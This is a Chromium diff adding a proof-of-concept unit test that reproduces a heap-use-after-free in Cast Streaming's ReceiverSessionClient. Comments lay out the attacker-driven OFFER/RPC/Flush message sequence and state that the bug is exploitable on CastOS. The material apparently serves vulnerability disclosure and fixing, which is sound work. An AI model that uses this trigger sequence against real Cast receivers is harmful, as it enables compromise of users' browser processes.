diff --git a/components/cast_streaming/browser/BUILD.gn b/components/cast_streaming/browser/BUILD.gn index eb578b8bc7830..4d9963c7dd0ab 100644 --- a/components/cast_streaming/browser/BUILD.gn +++ b/components/cast_streaming/browser/BUILD.gn @@ -95,14 +95,21 @@ source_set("unit_tests") { ] if (!is_win) { - sources += [ "cast_message_port_impl_unittest.cc" ] + sources += [ + "cast_message_port_impl_unittest.cc", + "cast_streaming_session_uaf_unittest.cc", + ] deps += [ "//base/test:test_support", "//components/cast/message_port", "//components/cast/message_port:test_message_port_receiver", + "//components/cast_streaming/browser/common", "//components/cast_streaming/common:conversions", + "//components/openscreen_platform", + "//media", "//testing/gtest", "//third_party/openscreen/src/cast/common:public", + "//third_party/openscreen/src/cast/streaming:receiver", ] } } diff --git a/components/cast_streaming/browser/cast_streaming_session.h b/components/cast_streaming/browser/cast_streaming_session.h index 0c9d79a1084ac..0709ed22447b0 100644 --- a/components/cast_streaming/browser/cast_streaming_session.h +++ b/components/cast_streaming/browser/cast_streaming_session.h @@ -33,6 +33,7 @@ namespace cast_streaming { class StreamConsumer; class CastMessagePortConverter; +class CastStreamingSessionUafTest; // POC: friend access for UAF repro. // Entry point for the Cast Streaming Receiver implementation. Used to start a // Cast Streaming Session for a provided MessagePort server. @@ -122,6 +123,8 @@ class CastStreamingSession { PreloadBufferCB GetVideoBufferPreloader(); private: + friend class CastStreamingSessionUafTest; // POC: access to private inner. + // Owns the Open Screen ReceiverSession. The Streaming Session is tied to the // lifespan of this object. class ReceiverSessionClient final @@ -155,6 +158,8 @@ class CastStreamingSession { base::WeakPtr GetWeakPtr(); private: + friend class CastStreamingSessionUafTest; // POC: access to privates. + bool ongoing_session_has_audio() const { return !!audio_consumer_; } bool ongoing_session_has_video() const { return !!video_consumer_; } diff --git a/components/cast_streaming/browser/cast_streaming_session_uaf_unittest.cc b/components/cast_streaming/browser/cast_streaming_session_uaf_unittest.cc new file mode 100644 index 0000000000000..ede2f8119dab1 --- /dev/null +++ b/components/cast_streaming/browser/cast_streaming_session_uaf_unittest.cc @@ -0,0 +1,256 @@ +// Copyright 2025 The Chromium Authors +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Proof-of-concept for a heap-use-after-free in +// CastStreamingSession::ReceiverSessionClient::start_session_cb_. +// +// In production (CastOS cast_core runtime), a network attacker acting as a Cast +// sender drives this sequence over the Cast streaming message port: +// 1. remoting OFFER #1 -> receivers#1 created +// 2. remoting OFFER #2 -> OnReceiversDestroying(kRenegotiated): +// is_flush_pending_ = true; async mojo Flush() to renderer; receivers#1 +// freed; receivers#2 created and stashed in +// PlaybackCommandDispatcher::streaming_init_info_. +// 3. RPC ACQUIRE_DEMUXER + RPC_DS_INITIALIZE_CALLBACK (audio+video) -> +// StartStreamingSession(info{receivers#2}) is called while +// is_flush_pending_ == true, so it is *deferred* into start_session_cb_, +// binding raw_ptr to receivers#2. +// 4. remoting OFFER #3 -> OnReceiversDestroying(kRenegotiated) again: +// OnRemotingSessionEnded() clears streaming_init_info_ but **does not** +// clear start_session_cb_; Flush() is skipped because one is already +// pending; receivers#2 are freed by ReceiverSession::ResetReceivers(). +// 5. The renderer's Flush() reply arrives -> OnFlushComplete() runs the stale +// start_session_cb_ -> StartStreamingSession(stale) -> +// InitializeAudioConsumer -> StreamConsumer ctor -> +// receiver_->SetConsumer(this) <-- virtual call on freed Receiver. +// +// On CastOS (the only platform where the remoting OFFER path is reachable), +// BackupRefPtr is FEATURE_DISABLED_BY_DEFAULT, so raw_ptr<> provides no +// quarantine and this is an exploitable browser-process UAF. +// +// This test reproduces the lifetime defect directly against the production +// ReceiverSessionClient code (StartStreamingSession / OnReceiversDestroying / +// OnFlushComplete) using friend access. It does not stand up the full Cast V2 +// network stack or a renderer process, since those are unavailable in a desktop +// unit-test environment, but every method invoked on ReceiverSessionClient is +// the unmodified production implementation. + +#include "components/cast_streaming/browser/cast_streaming_session.h" + +#include + +#include "base/functional/callback_helpers.h" +#include "base/memory/raw_ptr.h" +#include "base/run_loop.h" +#include "base/test/task_environment.h" +#include "components/cast/message_port/platform_message_port.h" +#include "components/cast_streaming/browser/common/streaming_initialization_info.h" +#include "media/base/audio_decoder_config.h" +#include "media/base/channel_layout.h" +#include "media/base/media_util.h" +#include "media/base/sample_format.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/openscreen/src/cast/streaming/impl/receiver_packet_router.h" // nogncheck +#include "third_party/openscreen/src/cast/streaming/impl/session_config.h" +#include "third_party/openscreen/src/cast/streaming/public/environment.h" +#include "third_party/openscreen/src/cast/streaming/public/receiver.h" + +namespace cast_streaming { + +namespace { + +openscreen::Clock::time_point FakeNow() { + return openscreen::Clock::time_point( + std::chrono::duration_cast( + std::chrono::steady_clock::now().time_since_epoch())); +} + +// Minimal openscreen TaskRunner adapter (mirrors stream_consumer_unittest.cc). +class TaskRunnerAdapter : public openscreen::TaskRunner { + public: + explicit TaskRunnerAdapter( + scoped_refptr task_runner) + : task_runner_(std::move(task_runner)) {} + ~TaskRunnerAdapter() override = default; + + void PostPackagedTask(Task task) override { + task_runner_->PostTask( + FROM_HERE, base::BindOnce([](Task t) { t(); }, std::move(task))); + } + void PostPackagedTaskWithDelay(Task task, + openscreen::Clock::duration delay) override { + task_runner_->PostDelayedTask( + FROM_HERE, base::BindOnce([](Task t) { t(); }, std::move(task)), + base::Microseconds( + std::chrono::duration_cast(delay) + .count())); + } + bool IsRunningOnTaskRunner() override { + return task_runner_->RunsTasksInCurrentSequence(); + } + + private: + scoped_refptr task_runner_; +}; + +// Minimal CastStreamingSession::Client; the UAF fires before any of these are +// reached. +class FakeSessionClient : public CastStreamingSession::Client { + public: + void OnSessionInitialization( + StreamingInitializationInfo, + std::optional, + std::optional) override {} + void OnAudioBufferReceived(media::mojom::DecoderBufferPtr) override {} + void OnVideoBufferReceived(media::mojom::DecoderBufferPtr) override {} + void OnSessionReinitializationPending() override {} + void OnSessionReinitialization( + StreamingInitializationInfo, + std::optional, + std::optional) override {} + void OnSessionEnded() override {} +}; + +openscreen::cast::SessionConfig MakeSessionConfig(int sender_ssrc) { + return openscreen::cast::SessionConfig( + sender_ssrc /* sender_ssrc */, sender_ssrc + 1 /* receiver_ssrc */, + 48000 /* rtp_timebase */, 2 /* channels */, + std::chrono::milliseconds(100) /* target_playout_delay */, + std::array{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16} /* aes_secret_key */, + std::array{1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 16} /* aes_iv_mask */); +} + +} // namespace + +// Friend of CastStreamingSession and CastStreamingSession::ReceiverSessionClient +// (declarations added in cast_streaming_session.h for this POC). +class CastStreamingSessionUafTest : public testing::Test { + public: + CastStreamingSessionUafTest() + : os_task_runner_(base::SequencedTaskRunner::GetCurrentDefault()), + os_environment_(&FakeNow, + os_task_runner_, + openscreen::IPEndpoint::kAnyV4()), + os_packet_router_(os_environment_) {} + + // The actual reproduction lives here so that friend access applies (TEST_F + // expands to a derived class which would not inherit friendship). + void RunRepro(); + + protected: + using RSC = CastStreamingSession::ReceiverSessionClient; + + base::test::TaskEnvironment task_environment_{ + base::test::TaskEnvironment::MainThreadType::IO, + base::test::TaskEnvironment::TimeSource::MOCK_TIME}; + + // Separate openscreen Environment used to construct the heap-allocated + // Receiver that will be freed mid-flight (mirrors what + // ReceiverSession::ConstructReceiver() does in production). + TaskRunnerAdapter os_task_runner_; + openscreen::cast::Environment os_environment_; + openscreen::cast::ReceiverPacketRouter os_packet_router_; + + FakeSessionClient fake_client_; +}; + +void CastStreamingSessionUafTest::RunRepro() { + // ---- Set up the production ReceiverSessionClient ------------------------ + // This is the same object that, on CastOS, is created by + // ReceiverSessionImpl::OnReceiverEnabled() in the browser process. + std::unique_ptr sender_port; + std::unique_ptr receiver_port; + cast_api_bindings::CreatePlatformMessagePortPair(&sender_port, + &receiver_port); + + ReceiverConfig av_constraints; + av_constraints.audio_codecs = {media::AudioCodec::kAAC}; + av_constraints.video_codecs = {media::VideoCodec::kH264}; + av_constraints.remoting.emplace(); // Enables the remoting OFFER path. + + ReceiverSession::MessagePortProvider port_provider = base::BindOnce( + [](std::unique_ptr p) { return p; }, + std::move(receiver_port)); + + // |renderer_controls| is std::nullopt: in this test we drive + // |is_flush_pending_| / OnFlushComplete() directly via friend access rather + // than via a real cross-process mojo round-trip. This is the only fidelity + // gap; on CastOS the PlaybackCommandDispatcher sets these via + // RendererControlMultiplexer::Flush() (always-async mojo). + auto rsc = std::make_unique( + &fake_client_, /*renderer_controls=*/std::nullopt, + std::move(av_constraints), std::move(port_provider), + base::SequencedTaskRunner::GetCurrentDefault()); + + // Stop the 5s init timeout so it doesn't interfere with MOCK_TIME. + rsc->init_timeout_timer_.Stop(); + + // ---- Heap-allocate the Receiver that will dangle ------------------------ + // In production this is created by ReceiverSession::SpawnReceivers() via + // std::make_unique on session #2's audio stream. + auto session2_audio_receiver = std::make_unique( + os_environment_, os_packet_router_, MakeSessionConfig(/*ssrc=*/100)); + + // ---- Step (2): OFFER #2's OnReceiversDestroying side-effect ------------- + // is_flush_pending_ is set true and an async mojo Flush() is dispatched to + // the renderer. We model only the flag here; the mojo reply is delivered in + // step (5). + rsc->is_flush_pending_ = true; + + // ---- Step (3): RPC config callbacks -> StartStreamingSession ------------ + // PlaybackCommandDispatcher::MaybeStartStreamingSession() copies + // streaming_init_info_ (whose audio_stream_info.receiver is a + // raw_ptr pointing at receivers#2) and calls this Dispatcher + // method. Because is_flush_pending_ is true, the production code defers it + // into start_session_cb_, capturing the raw_ptr by value. + media::AudioDecoderConfig audio_cfg( + media::AudioCodec::kAAC, media::kSampleFormatS16, + media::ChannelLayoutConfig::Stereo(), 48000, media::EmptyExtraData(), + media::EncryptionScheme::kUnencrypted); + StreamingInitializationInfo init_info( + rsc->receiver_session_.get(), + StreamingInitializationInfo::AudioStreamInfo( + std::move(audio_cfg), session2_audio_receiver.get()), + /*video_info=*/std::nullopt, + /*is_remoting=*/true); + + static_cast(rsc.get()) + ->StartStreamingSession(std::move(init_info)); + ASSERT_TRUE(rsc->start_session_cb_); // Deferred as expected. + + // ---- Step (4): OFFER #3 -> OnReceiversDestroying(kRenegotiated) --------- + // This is the production handler that runs immediately before openscreen + // frees receivers#2. It clears PlaybackCommandDispatcher state but does NOT + // clear start_session_cb_ -- that is the bug. + static_cast(rsc.get()) + ->OnReceiversDestroying( + rsc->receiver_session_.get(), + openscreen::cast::ReceiverSession::Client::kRenegotiated); + ASSERT_TRUE(rsc->start_session_cb_) << "fixed: callback was invalidated"; + + // openscreen::cast::ReceiverSession::ResetReceivers() now frees receivers#2. + session2_audio_receiver.reset(); + + // ---- Step (5): renderer Flush() reply arrives --------------------------- + // RendererControlMultiplexer::OnFlushComplete -> RSC::OnFlushComplete runs + // the stale start_session_cb_ -> StartStreamingSession(stale) -> + // InitializeAudioConsumer -> StreamConsumer::StreamConsumer -> + // receiver_->SetConsumer(this); // <-- vtable dispatch on freed Receiver + rsc->OnFlushComplete(); + + // Never reached under ASAN. + ADD_FAILURE() << "Expected ASAN heap-use-after-free in " + "StreamConsumer::StreamConsumer -> Receiver::SetConsumer; " + "if you see this, the lifetime bug has been fixed."; +} + +// Expected ASAN result: heap-use-after-free at +// StreamConsumer::StreamConsumer() -> Receiver::SetConsumer(). +TEST_F(CastStreamingSessionUafTest, DeferredStartSessionUsesFreedReceiver) { + RunRepro(); +} + +} // namespace cast_streaming